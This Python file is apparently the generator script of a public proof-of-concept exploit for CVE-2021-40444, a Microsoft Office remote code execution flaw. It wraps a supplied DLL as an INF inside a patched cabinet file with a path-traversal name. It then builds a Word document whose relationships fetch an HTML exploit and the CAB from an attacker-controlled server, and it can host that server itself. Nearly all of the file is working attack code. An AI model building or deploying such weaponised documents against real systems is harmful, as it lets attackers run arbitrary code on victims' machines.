CVE-2021-40444/generator.py

#!/usr/bin/env python3

# Microsoft Office Remote Code Execution Exploit via Logical Bug
# Result is ability for attackers to execute arbitrary custom DLL's
# downloaded and executed on target system
import argparse
import binascii
import random
import re
import shutil
import string
import struct
import sys
import os
import subprocess
import traceback
from pathlib import Path
from cab_parser import Cab
from in_place import InPlace


def patch_cab(path: Path, original_inf_path, patched_inf_path):
    with InPlace(str(path.absolute()), mode="b") as out_cab:
        cab = Cab(out_cab.read())
        print("  [*] Setting setID to 1234")
        cab.change_set_id(1234)
        print("  [*] Setting CFFolder.coffCabStart to 80")
        cab.change_coff_cab_start(80)
        print("  [*] Setting CFFolder.CCFData to 2")
        cab.change_ccfdata_count(2)
        size = struct.unpack("<I", b"\x00\x22\x44\x00")[0]
        print(f"  [*] Setting CFFile.CbFile to {size}")
        cab.change_cffile_cbfile(size)
        print("  [*] Making INF file read only")
        cab.make_file_read_only()
        print("  [*] Zeroing out Checksum")
        cab.zero_out_signature()
        out_cab.write(cab.to_bytes())

    with InPlace(str(path.absolute()), mode="b") as out_cab:
        content = out_cab.read()
        content = content.replace(original_inf_path, patched_inf_path)
        print(f"  [*] Patching path '{original_inf_path.decode()}' to '{patched_inf_path.decode()}'")
        out_cab.write(content)


def make_ddf(ddf_file: Path, cab_file: Path, inf_file: Path):
    # We need to generate a DDF file for makecab to work properly
    # CabinetNameTemplate = Basename of the cab file
    # DiskDirectoryTemplate = Directory where the cab file will be
    with open(str(ddf_file.absolute()), "w") as ddf:
        ddf.write(rf""".OPTION EXPLICIT
.Set CabinetNameTemplate={cab_file.name}       
.set DiskDirectoryTemplate={cab_file.parent.name}
.Set CompressionType=MSZIP
.Set UniqueFiles=OFF
.Set Cabinet=ON
.Set Compress=OFF
.Set CabinetFileCountThreshold=0
.Set FolderFileCountThreshold=0
.Set FolderSizeThreshold=0
.Set MaxCabinetSize=0
.Set MaxDiskFileCount=0
.Set MaxDiskSize=0
{inf_file.absolute()}""")


def execute_cmd(cmd, execute_from=None):
    try:
        subprocess.check_output(
            cmd,
            shell=True,
            cwd=execute_from
        )
    except subprocess.CalledProcessError as calledProcessError:
        print(calledProcessError)
        exit(1)


def generate_payload(payload, server_url, basename, copy_to=None):
    # Current Working Directory
    working_directory = Path(__file__).parent

    # Relevant directories for Execution
    data_path = working_directory.joinpath("data")
    word_dat_path = data_path.joinpath("word_dat")
    srv_path = working_directory.joinpath("srv")
    out_path = working_directory.joinpath("out")
    cab_path = working_directory.joinpath("cab")
    template_path = working_directory.joinpath("template")

    # Relevant files
    tmp_path = data_path.joinpath("tmp_doc")
    word_dll = data_path.joinpath(f'{basename}.dll')
    word_doc = out_path.joinpath('document.docx')
    ddf = data_path.joinpath('mswordcab.ddf')
    cab_file = out_path.joinpath(f"{basename}.cab")
    inf_file = cab_path.joinpath(f"{basename}.inf")
    html_template_file = template_path.joinpath("sample3.html")
    html_final_file = srv_path.joinpath(f"{basename}.html")

    # Checking ephemeral directories
    tmp_path.mkdir(exist_ok=True)
    cab_path.mkdir(exist_ok=True)
    srv_path.mkdir(exist_ok=True)
    out_path.mkdir(exist_ok=True)

    print(f'  [>] Payload: {payload}')
    print(f'  [>] HTML/CAB Hosting Server: {server_url}')

    try:
        payload_content = open(payload, 'rb').read()
        with open(str(word_dll), 'wb') as filep:
            filep.write(payload_content)
    except FileNotFoundError:
        print('[-] DLL Payload specified not found!')
        exit(1)
    except Exception as e:
        print(f"[-] Exception: {e}")
        exit(1)

    shutil.copytree(str(word_dat_path), str(tmp_path), dirs_exist_ok=True)
    print('[*] Crafting Relationships to point to HTML/CAB Hosting Server...')
    with InPlace(str(tmp_path.joinpath("word").joinpath("_rels").joinpath('document.xml.rels'))) as rels:
        xml_content = rels.read()
        xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', f'{server_url}/{html_final_file.name}')
        xml_content = xml_content.replace('<INF_CHANGE_HERE>', inf_file.name)
        rels.write(xml_content)

    print('[*] Packing MS Word .docx file...')
    word_doc.unlink(missing_ok=True)
    shutil.make_archive(str(word_doc), 'zip', str(tmp_path))
    shutil.move(str(word_doc) + ".zip", str(word_doc))
    shutil.rmtree(str(tmp_path))

    print('[*] Generating CAB file...')
    make_ddf(ddf_file=ddf, cab_file=cab_file, inf_file=inf_file)
    shutil.move(word_dll, inf_file)

    execute_cmd(f'makecab /F "{ddf.absolute()}"', execute_from=str(working_directory))
    patched_path = f'../{inf_file.name}'.encode()
    patch_cab(cab_file, str(inf_file.name).encode(), patched_path)
    shutil.copy(cab_file, srv_path)
    shutil.copy(ddf, srv_path)

    word_dll.unlink(missing_ok=True)
    inf_file.unlink(missing_ok=True)
    ddf.unlink(missing_ok=True)
    shutil.rmtree(str(cab_path.absolute()))

    print('[*] Updating information on HTML exploit...')
    shutil.copy(str(html_template_file), str(html_final_file))

    print('[*] Copying MS Word .docx to Desktop for local testing...')
    dest = Path(os.getenv("USERPROFILE")).joinpath("Desktop").joinpath(word_doc.name)
    dest.unlink(missing_ok=True)
    shutil.copy(str(word_doc.absolute()), dest)

    if copy_to and os.path.isdir(copy_to):
        print(f'[*] Copying malicious cab to {copy_to} for analysis...')
        dest = Path(copy_to).joinpath(cab_file.name)
        dest.unlink(missing_ok=True)
        shutil.copy(str(cab_file.absolute()), dest)
        print(f'  [>] CAB file stored at: {cab_file}')

    with InPlace(str(html_final_file)) as p_exp:
        content = p_exp.read()
        content = content.replace('<HOST_CHANGE_HERE>', f"{server_url}/{cab_file.name}")
        content = content.replace('<INF_CHANGE_HERE>', f"{inf_file.name}")
        p_exp.write(content)

    print(f'[+] Success! MS Word Document stored at: {word_doc}')


def start_server(lport, directory: Path):
    subprocess.Popen(
        f'start /D "{directory.absolute()}" "CVE-2021-40444 Payload Delivery Server" cmd /c python -m http.server {lport}',
        shell=True,
        close_fds=True,
        stderr=subprocess.DEVNULL,
        stdout=subprocess.DEVNULL,
        creationflags=subprocess.DETACHED_PROCESS
    )


def clean():
    pass


def validate_filename(filename):
    # Required length for the file name
    required_length = 12
    if not filename:
        filename = ""
    current_length = len(filename)
    gap = required_length - current_length
    return filename + ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(gap))


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
    parser.add_argument('-P', '--payload', type=str, required=True,
                        help="DLL payload to use for the exploit")
    parser.add_argument('-u', '--url', type=str, default=None, required=True,
                        help="Server URL for malicious references (CAB->INF)")
    parser.add_argument('-o', '--output', type=str, default=None, required=False,
                        help="Output files basename (no extension)")
    parser.add_argument('--host', action='store_true', default=False, required=False,
                        help="If set, will host the payload after creation")
    parser.add_argument('-p', '--lport', type=int, default=8080, required=False,
                        help="Port to use when hosting malicious payload")
    parser.add_argument('-c', '--copy-to', type=str, default=None, required=False,
                        help="Copy payload to an alternate path")

    args = parser.parse_args()

    filename = validate_filename(args.output)

    print('[*] Generating a malicious payload...')
    try:
        generate_payload(payload=args.payload, server_url=args.url, basename=filename, copy_to=args.copy_to)
    except:
        traceback.print_exc()
    if args.host:
        print('[*] Hosting HTML Exploit...')
        start_server(lport=args.lport, directory=Path(__file__).parent.joinpath("srv"))